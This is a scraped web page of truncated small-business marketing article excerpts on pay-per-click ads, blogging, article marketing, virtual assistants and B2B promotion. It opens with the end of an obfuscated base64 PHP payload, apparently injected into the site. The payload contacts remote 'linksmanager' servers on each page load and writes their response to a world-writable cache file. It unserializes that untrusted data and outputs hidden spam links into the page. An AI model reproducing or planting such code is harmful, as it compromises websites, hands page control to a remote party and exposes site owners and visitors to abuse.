NTQxZTdmYTgzYWJmZGQ0Yzg0MTVmYjVjZDRlZDUnOw0KDQoJLy8gb3B0aW9uYWwNCiAgdmFyICRf dmVyYm9zZSAgICAgICAgICAgPSBmYWxzZTsNCiAgdmFyICRfY2hhcnNldCAgICAgICAgICAgPSAn VVRGLTgnOw0KCXZhciAkX2ZldGNoX3JlbW90ZV90eXBlID0gJ2ZpbGVfZ2V0X2NvbnRlbnRzJzsN Cgl2YXIgJF9zb2NrZXRfdGltZW91dCAgICA9IDY7DQoJdmFyICRfbGlua3NfZGVsaW1pdGVyCQk9 ICcgJzsNCgl2YXIgJF9zaG93X2NvZGUJCQkJCT0gZmFsc2U7DQoNCgkvLyBvdGhlcg0KICB2YXIg JF9zZXJ2ZXJzCQkJCQkJPSAnbGlua3NtYW5hZ2VyMS5pbnxsaW5rc21hbmFnZXIxLmNvLnR2JzsN CiAgdmFyICRfY2FjaGVfbGlmZXRpbWUgICAgPSAxMDgwMDsNCiAgdmFyICRfY2FjaGVfcmVsb2Fk dGltZSAgPSA2MDA7DQogIHZhciAkX2Vycm9yICAgICAgICAgICAgID0gJyc7DQogIHZhciAkX2Ri X2ZpbGUgICAgICAgICAgID0gJyc7DQoNCiAgZnVuY3Rpb24gQ01fYmFzZSgkb3B0aW9ucyA9IG51 bGwpIHsNCg0KCQlpZiAoaXNzZXQoJG9wdGlvbnNbJ3ZlcmJvc2UnXSkgJiYgJG9wdGlvbnNbJ3Zl cmJvc2UnXSA9PSB0cnVlKQ0KCQkJJHRoaXMtPl92ZXJib3NlID0gdHJ1ZTsNCg0KICAgIGlmIChp c3NldCgkb3B0aW9uc1snY2hhcnNldCddKSAmJiBzdHJsZW4oJG9wdGlvbnNbJ2NoYXJzZXQnXSkp DQogICAgICAkdGhpcy0+X2NoYXJzZXQgPSAkb3B0aW9uc1snY2hhcnNldCddOw0KDQogICAgaWYg KGlzc2V0KCRvcHRpb25zWydmZXRjaF9yZW1vdGVfdHlwZSddKSAmJiBzdHJsZW4oJG9wdGlvbnNb J2ZldGNoX3JlbW90ZV90eXBlJ10pKQ0KICAgICAgJHRoaXMtPl9mZXRjaF9yZW1vdGVfdHlwZSA9 ICRvcHRpb25zWydmZXRjaF9yZW1vdGVfdHlwZSddOw0KDQoJCWlmIChpc3NldCgkb3B0aW9uc1sn c29ja2V0X3RpbWVvdXQnXSkgJiYgaXNfbnVtZXJpYygkb3B0aW9uc1snc29ja2V0X3RpbWVvdXQn XSkgJiYgJG9wdGlvbnNbJ3NvY2tldF90aW1lb3V0J10gPiAwKQ0KICAgICAgJHRoaXMtPl9zb2Nr ZXRfdGltZW91dCA9ICRvcHRpb25zWydzb2NrZXRfdGltZW91dCddOw0KDQogICAgaWYgKGlzc2V0 KCRvcHRpb25zWydsaW5rc19kZWxpbWl0ZXInXSkgJiYgc3RybGVuKCRvcHRpb25zWydsaW5rc19k ZWxpbWl0ZXInXSkpDQogICAgICAkdGhpcy0+X2xpbmtzX2RlbGltaXRlciA9ICRvcHRpb25zWyds aW5rc19kZWxpbWl0ZXInXTsNCg0KICAgIGlmIChpc3NldCgkb3B0aW9uc1snc2hvd19jb2RlJ10p ICYmICRvcHRpb25zWydzaG93X2NvZGUnXSA9PSB0cnVlKQ0KICAgICAgICR0aGlzLT5fc2hvd19j b2RlID0gdHJ1ZTsNCgkNCgl9DQoNCg0KICBmdW5jdGlvbiBmZXRjaF9yZW1vdGVfZmlsZSgkaG9z dCwgJHBhdGgpIHsNCg0KCQlAaW5pX3NldCgnYWxsb3dfdXJsX2ZvcGVuJywgICAgICAgICAgMSk7 DQogICAgQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCAgICR0aGlzLT5fc29ja2V0 X3RpbWVvdXQpOw0KDQogICAgaWYgKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0gJ2ZpbGVf Z2V0X2NvbnRlbnRzJyB8fCANCgkJCSgkdGhpcy0+X2ZldGNoX3JlbW90ZV90eXBlID09ICcnICYm IGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9nZXRfY29udGVudHMnKSAmJiBpbmlfZ2V0KCdhbGxvd191 cmxfZm9wZW4nKSA9PSAxKSkgew0KICAgICAgICAgICAgDQoJCQkkdGhpcy0+X2ZldGNoX3JlbW90 ZV90eXBlID0gJ2ZpbGVfZ2V0X2NvbnRlbnRzJzsNCgkJCSRkYXRhID0gQGZpbGVfZ2V0X2NvbnRl bnRzKCdodHRwOi8vJyAuICRob3N0IC4gJHBhdGgpOw0KDQoJCQlpZiAoJGRhdGEpDQoJCQkJcmV0 dXJuICRkYXRhOw0KDQogICAgfSBlbHNlaWYgKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0g J2N1cmwnIHx8IA0KCQkJKCR0aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPT0gJycgJiYgZnVuY3Rp b25fZXhpc3RzKCdjdXJsX2luaXQnKSkpIHsNCiAgICAgICAgICAgIA0KCQkJJHRoaXMtPl9mZXRj aF9yZW1vdGVfdHlwZSA9ICdjdXJsJzsNCg0KICAgICAgaWYgKCRjaCA9IEBjdXJsX2luaXQoKSkg ew0KDQoJCQkJQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICAgICAgICAgICAgICAnaHR0 cDovLycgLiAkaG9zdCAuICRwYXRoKTsNCgkJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hF QURFUiwgICAgICAgICAgIGZhbHNlKTsNCgkJCQlAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JF VFVSTlRSQU5TRkVSLCAgIHRydWUpOw0KCQkJCUBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09O TkVDVFRJTUVPVVQsICAgJHRoaXMtPl9zb2NrZXRfdGltZW91dCk7DQoNCiAgICAgICAgJGRhdGEg PSBAY3VybF9leGVjKCRjaCk7DQogICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7DQoNCgkJCQlpZiAo JGRhdGEpDQoJCQkJCXJldHVybiAkZGF0YTsNCgkJCX0NCg0KICAgIH0gZWxzZSB7DQoNCgkJCSR0 aGlzLT5fZmV0Y2hfcmVtb3RlX3R5cGUgPSAnc29ja2V0JzsNCg0KICAgICAgJGJ1ZmYgPSAnJzsN CiAgICAgICRmcCA9IEBmc29ja29wZW4oJGhvc3QsIDgwLCAkZXJybm8sICRlcnJzdHIsICR0aGlz LT5fc29ja2V0X3RpbWVvdXQpOw0KDQogICAgICBpZiAoJGZwKSB7DQoNCgkJCQlAZnB1dHMoJGZw LCAiR0VUIHskcGF0aH0gSFRUUC8xLjBcclxuSG9zdDogeyRob3N0fVxyXG4iKTsNCg0KCQkJCXdo aWxlICghQGZlb2YoJGZwKSkNCgkJCQkJJGJ1ZmYgLj0gQGZnZXRzKCRmcCwgMTI4KTsNCg0KCQkJ CUBmY2xvc2UoJGZwKTsNCg0KCQkJCSRwYWdlID0gZXhwbG9kZSgiXHJcblxyXG4iLCAkYnVmZik7 DQoJCQkJcmV0dXJuICRwYWdlWzFdOw0KDQogICAgICB9DQoNCiAgICB9DQoNCiAgICByZXR1cm4g JHRoaXMtPnJhaXNlX2Vycm9yKCcmIzEwNTM7JiMxMDc3OyAmIzEwODQ7JiMxMDg2OyYjMTA3NTsm IzEwOTE7ICYjMTA4NzsmIzEwODY7JiMxMDc2OyYjMTA4MjsmIzEwODM7JiMxMTAyOyYjMTA5NTsm IzEwODA7JiMxMDkwOyYjMTEwMDsmIzEwODk7JiMxMTAzOyAmIzEwODI7ICYjMTA4OTsmIzEwNzc7 JiMxMDg4OyYjMTA3NDsmIzEwNzc7JiMxMDg4OyYjMTA5MTs6ICcgLiAkaG9zdCAuICRwYXRoLics IHR5cGU6ICcuJHRoaXMtPl9mZXRjaF9yZW1vdGVfdHlwZSk7DQogIH0NCg0KICBmdW5jdGlvbiBf cmVhZCgkZmlsZW5hbWUpIHsNCiAgICAgICAgDQoJCSRmcCA9IEBmb3BlbigkZmlsZW5hbWUsICdy YicpOw0KCQlAZmxvY2soJGZwLCBMT0NLX1NIKTsNCg0KCQlpZiAoJGZwKSB7DQoNCgkJCWNsZWFy c3RhdGNhY2hlKCk7DQoJCQkkbGVuZ3RoID0gQGZpbGVzaXplKCRmaWxlbmFtZSk7DQoJCQkkbXFy ID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7DQoJCQlzZXRfbWFnaWNfcXVvdGVzX3J1bnRp bWUoMCk7DQoNCgkJCWlmICgkbGVuZ3RoKQ0KCQkJCSRkYXRhID0gQGZyZWFkKCRmcCwgJGxlbmd0 aCk7DQoJCQllbHNlDQoJCQkJJGRhdGEgPSAnJzsNCg0KICAgICAgc2V0X21hZ2ljX3F1b3Rlc19y dW50aW1lKCRtcXIpOw0KICAgICAgQGZsb2NrKCRmcCwgTE9DS19VTik7DQogICAgICBAZmNsb3Nl KCRmcCk7DQoNCiAgICAgIHJldHVybiAkZGF0YTsNCg0KICAgIH0NCg0KICAgIHJldHVybiAkdGhp cy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzc7ICYjMTA4NDsmIzEwODY7JiMxMDc1OyYjMTA5 MTsgJiMxMDg5OyYjMTA5NTsmIzEwODA7JiMxMDkwOyYjMTA3MjsmIzEwOTA7JiMxMTAwOyAmIzEw NzY7JiMxMDcyOyYjMTA4NTsmIzEwODU7JiMxMDk5OyYjMTA3NzsgJiMxMDgwOyYjMTA3OTsgJiMx MDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOyYjMTA3Mjs6ICcgLiAkZmlsZW5hbWUpOw0KICB9DQoN CiAgZnVuY3Rpb24gX3dyaXRlKCRmaWxlbmFtZSwgJGRhdGEpIHsNCg0KCQkkZnAgPSBAZm9wZW4o JGZpbGVuYW1lLCAnd2InKTsNCiAgICBpZiAoJGZwKSB7DQoJCQlAZmxvY2soJGZwLCBMT0NLX0VY KTsNCgkJCSRsZW5ndGggPSBzdHJsZW4oJGRhdGEpOw0KCQkJQGZ3cml0ZSgkZnAsICRkYXRhLCAk bGVuZ3RoKTsNCgkJCUBmbG9jaygkZnAsIExPQ0tfVU4pOw0KICAgICAgQGZjbG9zZSgkZnApOw0K DQogICAgICBpZiAobWQ1KCR0aGlzLT5fcmVhZCgkZmlsZW5hbWUpKSAhPSBtZDUoJGRhdGEpKQ0K CQkJCXJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzI7JiMxMDg4OyYjMTA5 MTsmIzEwOTY7JiMxMDc3OyYjMTA4NTsmIzEwNzI7ICYjMTA5NDsmIzEwNzc7JiMxMDgzOyYjMTA4 NjsmIzEwODk7JiMxMDkwOyYjMTA4NTsmIzEwODY7JiMxMDg5OyYjMTA5MDsmIzExMDA7ICYjMTA3 NjsmIzEwNzI7JiMxMDg1OyYjMTA4NTsmIzEwOTk7JiMxMDkzOyAmIzEwODc7JiMxMDg4OyYjMTA4 MDsgJiMxMDc5OyYjMTA3MjsmIzEwODc7JiMxMDgwOyYjMTA4OTsmIzEwODA7ICYjMTA3NDsgJiMx MDkyOyYjMTA3MjsmIzEwODE7JiMxMDgzOzogJyAuICRmaWxlbmFtZSk7DQoNCiAgICAgIHJldHVy biB0cnVlOw0KICAgIH0NCg0KICAgIHJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1Mzsm IzEwNzc7ICYjMTA4NDsmIzEwODY7JiMxMDc1OyYjMTA5MTsgJiMxMDc5OyYjMTA3MjsmIzEwODc7 JiMxMDgwOyYjMTA4OTsmIzEwNzI7JiMxMDkwOyYjMTEwMDsgJiMxMDc2OyYjMTA3MjsmIzEwODU7 JiMxMDg1OyYjMTA5OTsmIzEwNzc7ICYjMTA3NDsgJiMxMDkyOyYjMTA3MjsmIzEwODE7JiMxMDgz OzogJyAuICRmaWxlbmFtZSk7DQogIH0NCg0KICBmdW5jdGlvbiByYWlzZV9lcnJvcigkZSkgew0K DQoJCSR0aGlzLT5fZXJyb3IgPSAnPHAgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtd2VpZ2h0OiBi b2xkOyI+Q00gRVJST1I6ICcgLiAkZSAuICc8L3A+JzsNCg0KCQlpZiAoJHRoaXMtPl92ZXJib3Nl ID09IHRydWUpDQoJCQlwcmludCAkdGhpcy0+X2Vycm9yOw0KDQogICAgcmV0dXJuIGZhbHNlOw0K ICB9DQoNCiAgZnVuY3Rpb24gbG9hZF9kYXRhKCkgew0KDQoJCWlmICghaXNfZGlyKGRpcm5hbWUo X19GSUxFX18pLicvdGVtcCcpKXsNCgkJCWlmICghbWtkaXIoZGlybmFtZShfX0ZJTEVfXykuJy90 ZW1wJykpew0KCQkJCXJldHVybiAkdGhpcy0+cmFpc2VfZXJyb3IoJyYjMTA1MzsmIzEwNzc7JiMx MDkwOyAmIzEwODc7JiMxMDcyOyYjMTA4NzsmIzEwODI7JiMxMDgwOyAnIC4gZGlybmFtZShfX0ZJ TEVfXykuJy90ZW1wJy4gJy4gJiMxMDU3OyYjMTA4NjsmIzEwNzk7JiMxMDc2OyYjMTA3MjsmIzEw OTA7JiMxMTAwOyAmIzEwODU7JiMxMDc3OyAmIzEwOTE7JiMxMDc2OyYjMTA3MjsmIzEwODM7JiMx MDg2OyYjMTA4OTsmIzExMDA7LicpOw0KCQkJfQ0KCQl9DQoNCg0KICAgICR0aGlzLT5fZGJfZmls ZSA9IGRpcm5hbWUoX19GSUxFX18pIC4gJy90ZW1wL2xpbmtzLmRiJzsNCg0KICAgIGlmICghaXNf ZmlsZSgkdGhpcy0+X2RiX2ZpbGUpKSB7DQoNCgkJCWlmIChAdG91Y2goJHRoaXMtPl9kYl9maWxl KSkNCgkJCQlAY2htb2QoJHRoaXMtPl9kYl9maWxlLCAwNjY2KTsNCgkJCWVsc2UNCgkJCQlyZXR1 cm4gJHRoaXMtPnJhaXNlX2Vycm9yKCcmIzEwNTM7JiMxMDc3OyYjMTA5MDsgJiMxMDkyOyYjMTA3 MjsmIzEwODE7JiMxMDgzOyYjMTA3MjsgJyAuICR0aGlzLT5fZGJfZmlsZSAuICcuICYjMTA1Nzsm IzEwODY7JiMxMDc5OyYjMTA3NjsmIzEwNzI7JiMxMDkwOyYjMTEwMDsgJiMxMDg1OyYjMTA3Nzsg JiMxMDkxOyYjMTA3NjsmIzEwNzI7JiMxMDgzOyYjMTA4NjsmIzEwODk7JiMxMTAwOy4gJiMxMDQy OyYjMTA5OTsmIzEwODk7JiMxMDkwOyYjMTA3MjsmIzEwNzQ7JiMxMDgwOyYjMTA5MDsmIzEwNzc7 ICYjMTA4NzsmIzEwODg7JiMxMDcyOyYjMTA3NDsmIzEwNzI7IDc3NyAmIzEwODU7JiMxMDcyOyAm IzEwODc7JiMxMDcyOyYjMTA4NzsmIzEwODI7JiMxMDkxOy4nKTsNCg0KICAgIH0NCg0KICAgIGlm ICghaXNfd3JpdGFibGUoJHRoaXMtPl9kYl9maWxlKSkNCgkJCXJldHVybiAkdGhpcy0+cmFpc2Vf ZXJyb3IoJyYjMTA1MzsmIzEwNzc7JiMxMDkwOyAmIzEwNzY7JiMxMDg2OyYjMTA4OTsmIzEwOTA7 JiMxMDkxOyYjMTA4NzsmIzEwNzI7ICYjMTA4NTsmIzEwNzI7ICYjMTA3OTsmIzEwNzI7JiMxMDg3 OyYjMTA4MDsmIzEwODk7JiMxMTAwOyAmIzEwODI7ICYjMTA5MjsmIzEwNzI7JiMxMDgxOyYjMTA4 MzsmIzEwOTE7OiAnIC4gJHRoaXMtPl9kYl9maWxlIC4gJyEgJiMxMDQyOyYjMTA5OTsmIzEwODk7 JiMxMDkwOyYjMTA3MjsmIzEwNzQ7JiMxMDgwOyYjMTA5MDsmIzEwNzc7ICYjMTA4NzsmIzEwODg7 JiMxMDcyOyYjMTA3NDsmIzEwNzI7IDc3NyAmIzEwODU7JiMxMDcyOyAmIzEwODc7JiMxMDcyOyYj MTA4NzsmIzEwODI7JiMxMDkxOy4nKTsNCg0KICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KDQogICAg aWYgKChmaWxlbXRpbWUoJHRoaXMtPl9kYl9maWxlKSA8ICh0aW1lKCktJHRoaXMtPl9jYWNoZV9s aWZldGltZSkgfHwgZmlsZXNpemUoJHRoaXMtPl9kYl9maWxlKSA9PSAwKSkgew0KDQoJCQlAdG91 Y2goJHRoaXMtPl9kYl9maWxlLCAodGltZSgpIC0gJHRoaXMtPl9jYWNoZV9saWZldGltZSArICR0 aGlzLT5fY2FjaGVfcmVsb2FkdGltZSkpOw0KICAgICAgICAgICAgDQoJCQkkcGF0aCA9ICcvc3lz dGVtL21uZ3IucGhwP2lkPScgLiAkdGhpcy0+X2lkIC4gJyZtZDU9JyAuIG1kNSgkdGhpcy0+X3Jl YWQoJHRoaXMtPl9kYl9maWxlKSk7DQoNCiAgICAgIGlmIChzdHJsZW4oJHRoaXMtPl9jaGFyc2V0 KSkNCgkJCQkkcGF0aCAuPSAnJmNoYXJzZXQ9JyAuICR0aGlzLT5fY2hhcnNldDsNCg0KCQkJJHNl cnZlcnMgPSBleHBsb2RlKCJ8IiwgJHRoaXMtPl9zZXJ2ZXJzKTsNCgkJCWZvcmVhY2goJHNlcnZl cnMgYXMgJHNlcnZlcil7DQoNCgkJCQlpZiAoJGRhdGEgPSAkdGhpcy0+ZmV0Y2hfcmVtb3RlX2Zp bGUoJHNlcnZlciwgJHBhdGgpKXsNCgkJCQ0KCQkJCQlpZiAoc3Vic3RyKCRkYXRhLCAwLCAxMikg PT0gJ0ZBVEFMIEVSUk9SOicpIHsNCg0KCQkJCQkJJHRoaXMtPnJhaXNlX2Vycm9yKCRkYXRhKTsN Cg0KCQkJCQl9IGVsc2UgaWYgKHN1YnN0cigkZGF0YSwgMCwgOSkgIT0gJ1VOQ0hBTkdFRCcpIHsN Cg0KCQkJCQkJJGhhc2ggPSBAdW5zZXJpYWxpemUoJGRhdGEpOw0KDQoJCQkJCQlpZiAoJGhhc2gg IT0gZmFsc2UpIHsNCg0KCQkJCQkJCSRkYXRhX25ldyA9IEBzZXJpYWxpemUoJGhhc2gpOw0KDQoJ CQkJCQkJaWYgKCRkYXRhX25ldykNCgkJCQkJCQkJJGRhdGEgPSAkZGF0YV9uZXc7DQoJCQkJCQkJ DQoJCQkJCQkJJHRoaXMtPl93cml0ZSgkdGhpcy0+X2RiX2ZpbGUsICRkYXRhKTsNCg0KCQkJCQkJ CWJyZWFrOw0KDQoJCQkJCQl9DQoNCgkJCQkJfSAvLyBpZiBmYXRhbCBlcnJvciB1bmNoYW5nZWQN Cg0KCQkJCX0gLy8gZmV0Y2gNCg0KCQkJfSAvLyBmb3JlYWNoDQogICAgICAgICAgICANCiAgICB9 DQoNCiAgICBpZiAoJGRhdGEgPSAkdGhpcy0+X3JlYWQoJHRoaXMtPl9kYl9maWxlKSkNCgkJCSR0 aGlzLT5zZXRfZGF0YShAdW5zZXJpYWxpemUoJGRhdGEpKTsNCg0KICB9DQp9DQoNCmNsYXNzIENN X2NsaWVudCBleHRlbmRzIENNX2Jhc2Ugew0KDQoJdmFyICRfbGlua3NfcGFnZSA9IGFycmF5KCk7 DQoNCglmdW5jdGlvbiBDTV9jbGllbnQoJG9wdGlvbnMgPSBudWxsKSB7DQoJCQlwYXJlbnQ6OkNN X2Jhc2UoJG9wdGlvbnMpOw0KCQkJJHRoaXMtPmxvYWRfZGF0YSgpOw0KCX0NCg0KCWZ1bmN0aW9u IHJldHVybl9saW5rcygkbiA9IG51bGwsICRvZmZzZXQgPSAwKSB7DQoNCgkJJGh0bWwgPSAnJzsN Cg0KCQlpZiAoaXNfYXJyYXkoJHRoaXMtPl9saW5rc19wYWdlKSkgew0KDQoJCQkkdG90YWxfcGFn ZV9saW5rcyA9IGNvdW50KCR0aGlzLT5fbGlua3NfcGFnZSk7DQoNCgkJCWlmICghaXNfbnVtZXJp YygkbikgfHwgJG4gPiAkdG90YWxfcGFnZV9saW5rcykNCgkJCQkkbiA9ICR0b3RhbF9wYWdlX2xp bmtzOw0KDQoJCQkkbGlua3MgPSBhcnJheSgpOw0KDQoJCQlmb3IgKCRpID0gMTsgJGkgPD0gJG47 ICRpKyspIHsNCgkJCQlpZiAoJG9mZnNldCA+IDAgJiYgJGkgPD0gJG9mZnNldCkNCgkJCQkJYXJy YXlfc2hpZnQoJHRoaXMtPl9saW5rc19wYWdlKTsNCgkJCQllbHNlDQoJCQkJCSRsaW5rc1tdID0g YXJyYXlfc2hpZnQoJHRoaXMtPl9saW5rc19wYWdlKTsNCgkJCX0NCg0KCQkJJGh0bWwgPSBqb2lu KCR0aGlzLT5fbGlua3NfZGVsaW1pdGVyLCAkbGlua3MpOw0KCQkJCQkNCgkJfSBlbHNlIHsNCgkJ CSRodG1sID0gJHRoaXMtPl9saW5rc19wYWdlOw0KCQl9DQoNCgkJaWYgKCR0aGlzLT5fc2hvd19j b2RlKQ0KCQkJJGh0bWwgPSAkaHRtbCAuICc8IS0tQ00nLigkdGhpcy0+X2lkKS4nLS0+JzsNCg0K CQlyZXR1cm4gJGh0bWw7DQoNCgl9DQoNCg0KICBmdW5jdGlvbiBzZXRfZGF0YSgkZGF0YSkgew0K DQoJCSR0aGlzLT5fbGlua3NfcGFnZSA9ICRkYXRhOw0KDQogIH0NCn0NCg0KDQokQ00gPSBuZXcg Q01fY2xpZW50KCk7DQplY2hvICRDTS0+cmV0dXJuX2xpbmtzKCk7DQoNCg0K")); ?>

Today many small businesses are marketing themselves on the Internet. As a matter of fact many small businesses today are actually Internet businesses themselves. Here are 3 affordable small business marketing strategies and you can use to get the word out about your business.

1. The first thing we want to talk about is utilizing a pay per click advertising campaign. Google Adwords and Yahoo Marketing are the two most well known companies that offer pay per click advertising campaigns.

These are great because you control how much money you want to bid on a targeted keywords, and you also control how much money you want to spend every month. You know that the traffic that you are getting to your website is targeted because people are searching for specific keywords or keyword phrases.

What makes this affordable for many small businesses is you only get billed when somebody actually clicks on your ad. This makes it very easy for you to determine if this form of our marketing is the effective for you or not.

2. Blogging is another affordable small business marketing strategy that you must be using. As a matter of fact, you can blog and get the word out about your business and your only investment will be in the time it takes to write the blog articles.

The key point to making blogging work is to social bookmark your post to the proper social directories. The other thing is to write your blog articles to target specific keyword phrases that relate to the theme of your small business.

This may take a little while to get the hang of, but it is really quite simple to do. You must be consistent in how you blog and how often you blog as well.

3. A third small business marketing strategy that has proven to be very effective is ezine advertising. The reason this is so good is because there are many email newsletters today that have been around for several years and have very loyal readers.

Continue reading »

Perhaps you’ve got a small business and it’s been thriving with your own marketing and research efforts. But if you want to boost your business marketing, consider the services of a virtual assistant.

Virtual assistants who’ve been trained and experienced in marketing research and business marketing — particularly through the Internet — can be invaluable to growing your business. It would take time for you to learn and do everything yourself, time that you could put to better use by focusing on the aspects of your business that you enjoy and are an expert at.

For example, not everyone is adept at using Web 2.0 for business marketing. Besides, it can eat up a lot of your time every day. Wouldn’t you rather use that time to develop your business in other ways or even relax and enjoy your family?

Here are a few marketing and research tasks that a virtual assistant can perform for you:

* Promote your business in social networking sites, a very time-consuming task
* Produce a podcast which will expand your business’ web presence
* Look at competitors’ websites and report on what they’re doing – so you can analyze what your competitors’ approaches and come up with strategies to outdo them
* Find information you need to grow your business, such as identify affiliate programs that are relevant to your business and could increase your market reach
* Look for websites or blogs relevant to your business where it might be profitable for you to advertise your products or services

Could you do all this yourself and still live the life you want? Probably not. Yet these things could take your business to the next level and ultimately increase your income. You should certainly be familiar with these processes in order to effectively hire and supervise somebody to do them for you. However, you don’t have to do them yourself.

Let a virtual assistant declutter your mind of the minute but essential details of business market Continue reading »

One of the vital aspects of growing a home business is marketing. Too many overlook this and the truth is, if you are not promoting, you’re dead in the water.

Network marketers need a steady flow of prospects to survive and finding an at home business marketing solution is key to their survival. It doesn’t need to be complicated. The best and most cost effective way of promoting is article marketing.

Articles are priceless as a promotion tool for your business. Did you know unlike a paid campaign which ends once you stop paying articles continue marketing for you long after you’ve written them. We call them our own team of salesmen which keep flying the banner for us years after being published.

If you think you cannot write then think again. In this article, we outline some writing tips to help boost your at home business marketing efforts.

1. Create a steady and consistent schedule. Unless you are producing a consistent stream of content promoting your business then you’ll get haphazard results. We suggest you produce at least ten articles a month for your network marketing business.

2. Make a commitment to write on one or two particular days a week. Writing ten articles a month is not a massive task. It’s just over two per week. Make one day a week your writing day. If you produce ten pieces a month then that will give you 120 articles for the year all doing one thing, promoting you and your MLM business.

3. Set yourself a challenge each time you sit down to write. That is, to create some urgency, give yourself a set amount of time to write the article. For example, if you think you can produce it in 30 minutes then challenge yourself to create it in that time. It’s amazing how efficient your brain becomes when it is given a time and end goal to meet.

4. Create a list of topics ahead of time you’re going to write about. That is, produce a list of keywords around your business. When you’ve Continue reading »

Small business marketing is a passion of mine! It is very exciting especially when you start to see results. When a customer says “I saw you on top of Google and went to your website, then I did a search on YouTube and you came up 1st there, after that I called a sign on the side of the road, that was you too, I figured i had no choice where I was going to buy… Who does your small business marketing? and you say, I do… It makes you feel good.. all the way to the bank…

Search engines are the best place to start when you begin your quest for the best small business marketing ideas. Google gets most of the traffic and their results are sent to many other search engines. Getting on the 1st page of Google is really much easier than you think…

There’s a friend of mine that owns a business near mine and as a result of using these simple ideas he was listed on the 1st page of Google in 2 days. He landed a $3600 job as a result of his efforts. This small business marketing stuff not rocket science, it’s just following a proven system that works.

If you are looking for small business marketing ideas, in specific geographical locations, then Google Local is quick and easy way to start. This is the listing on the top of google when you search for a local listing like (Hot Tubs Minneapolis) there is a map on the left with businesses on the right. Google Local is a great website marketing strategy because, its easy, free and fast.

There are a few tricks I have figured out over the years with Google Local , like how to show up for more than just one city. This is the best place to start for online small business marketing for local results.

PPC (Pay Per Click) is another service that is offered by Google and great for small business marketing. The “Pay” part shouldn’t scare you because you have complete control. You pay $5 to start and choose the areas you want your add to show up. You can choose 10 miles around your location, or a metro a Continue reading »

Here’s a business marketing tip to gain maximum profit from any
product or service in your business marketing lineup, and how
you will gain extreme profits when you follow these 5 simple,
LAZY steps;

1. Look not at what you are offering through your business
marketing efforts – look at WHO WILL BUY your product/service.
Make a picture of your ‘typical buyer’ – who they are, their
age, what they like to do, etc.

This is often known as the ‘target market prospect’, yet, the
more detailed you define this ‘target’ in your business
marketing, the better.

I’ve even gone to the point of giving this ‘target market’
person a name and put a picture up on my computer monitor (find
a ‘friendly face’ on the Internet somewhere and ‘tag’ it as your
target market prospect) – get your business marketing centered
around every aspect of your target – the more you know them, the
easier it is to chat about what they need.

2. Develop a list of your target market prospect’s likes and
dislikes as it would relate to a product/service similar to
yours. (You’ll get a ‘third party’ look at your competition, as
well as some inside looks at their business marketing efforts.)

Consider some questions they would have, or some typical
objections to buying this similar product/service (this may come
from your previous research, or you may have to simply do some).

One way to personalize the business marketing research of your
‘target market prospect’ is to ‘role play’ – think about your
prospect as a good friend that you are having a picnic with (or
even a co-worker at the water cooler, etc.) and in passing, your
friend brings up that ‘similar’ product/service.

What do they say about it?

What are their questions/concerns?

Is there a ‘running joke’ about the competition’s
product/service that defines a hole in their business marketing?
(i.e., “Did you hear about the lady that used X?”)

All these things need to be addressed, and documented.

Let yo Continue reading »

Let me ask you a question. The answer is to the question is critical to your business success.

Do you fully understand the real nature of the business you are in?

Your instant response is of course, I’m in the [put your industry name here] business. For example, you probably said, of course, I’m in the real estate business, or the plumbing business, or the printing business, etc.

But that is only partly correct if you are the owner of the business. As the business owner, the real nature of your business is marketing the business you are in.

You may have the greatest service or the best product in the world, but if no one knows about it, you will soon be out of business.

One method of increasing the exposure of your business to your potential customers, is to conduct a marketing crusade.

You can compare this marketing approach to a missionary’s work or the launching of a crusade because only the fervor and the determination of a missionary or crusader will assure your marketing success.

Missionaries are driven by more than just their desire to sell someone on buying their product or service. Rather, a missionary’s goal is to convert the world to their way of thinking, their mission and their crusade. Only through such a conversion process can you expect to receive not just a customer, but customers for life.

When your business launches a marketing mission, it takes a different approach than traditional marketing.

Traditional approaches are taken and set aside in favor of our missionary or crusader’s goal. In a traditional marketing effort, the real motivation for most marketing activity is just to make money. That’s nice to do, but that’s not all we need.

Every marketing effort, at this point, is tied directly back to its contribution to money coming in.

Now, as a missionary, your business goal becomes an effort to win your customer’s Continue reading »

Business to business marketing online Internet style. This is not a new marketing technique. In fact, the design of having two or even more businesses help to endorse one another products and services is a tried and true method that has provided profitable results for most entities involved. Knowledgeable business owners and webmasters recognize the enormous value brought to their company by business-to-business marketing. Marketing online offers another dimension with enormous reach that will allow businesses to continue their networking efforts in the virtual and viral world that the Internet provides.

Lets say for example that a brick and mortar company like a dog grooming business will benefit and gain customers from displaying advertisements at the local veterinarian offices. Dog owners, who trust these veterinarians are more likely to take their pets for a professional grooming to a business recommended by an already trusted establishment, like their local vet. On the other hand, the clients of the dog grooming business will be most likely those who need a veterinarian for their pets, and they will most likely trust the vet suggested by the professional grooming business who already has an reputable relationship with them. The same concept applies to business-to-business marketing; The Internet simply adds a new aspect to this method.

If the local pet grooming business and the veterinarian both have a website it will permit for further business-to-business marketing, Internet style. Since the services provided by the pet grooming business and veterinarian only tangentially overlap, they are not in direct competition with one another, but instead will be able to do business-to-business marketing online in the truest sense of the term.

These businesses could then continue with this business-to-business marketing method with other related businesses. For example the Pet grooming business could establish a relationship with pet magazines, animal shel Continue reading »

Small business marketing is all about determining the needs of your target market and then providing solutions to meet those needs.

These 7 steps are aimed at entrepreneurs starting a small business and those who want to create a successful small business marketing plan for an existing business.

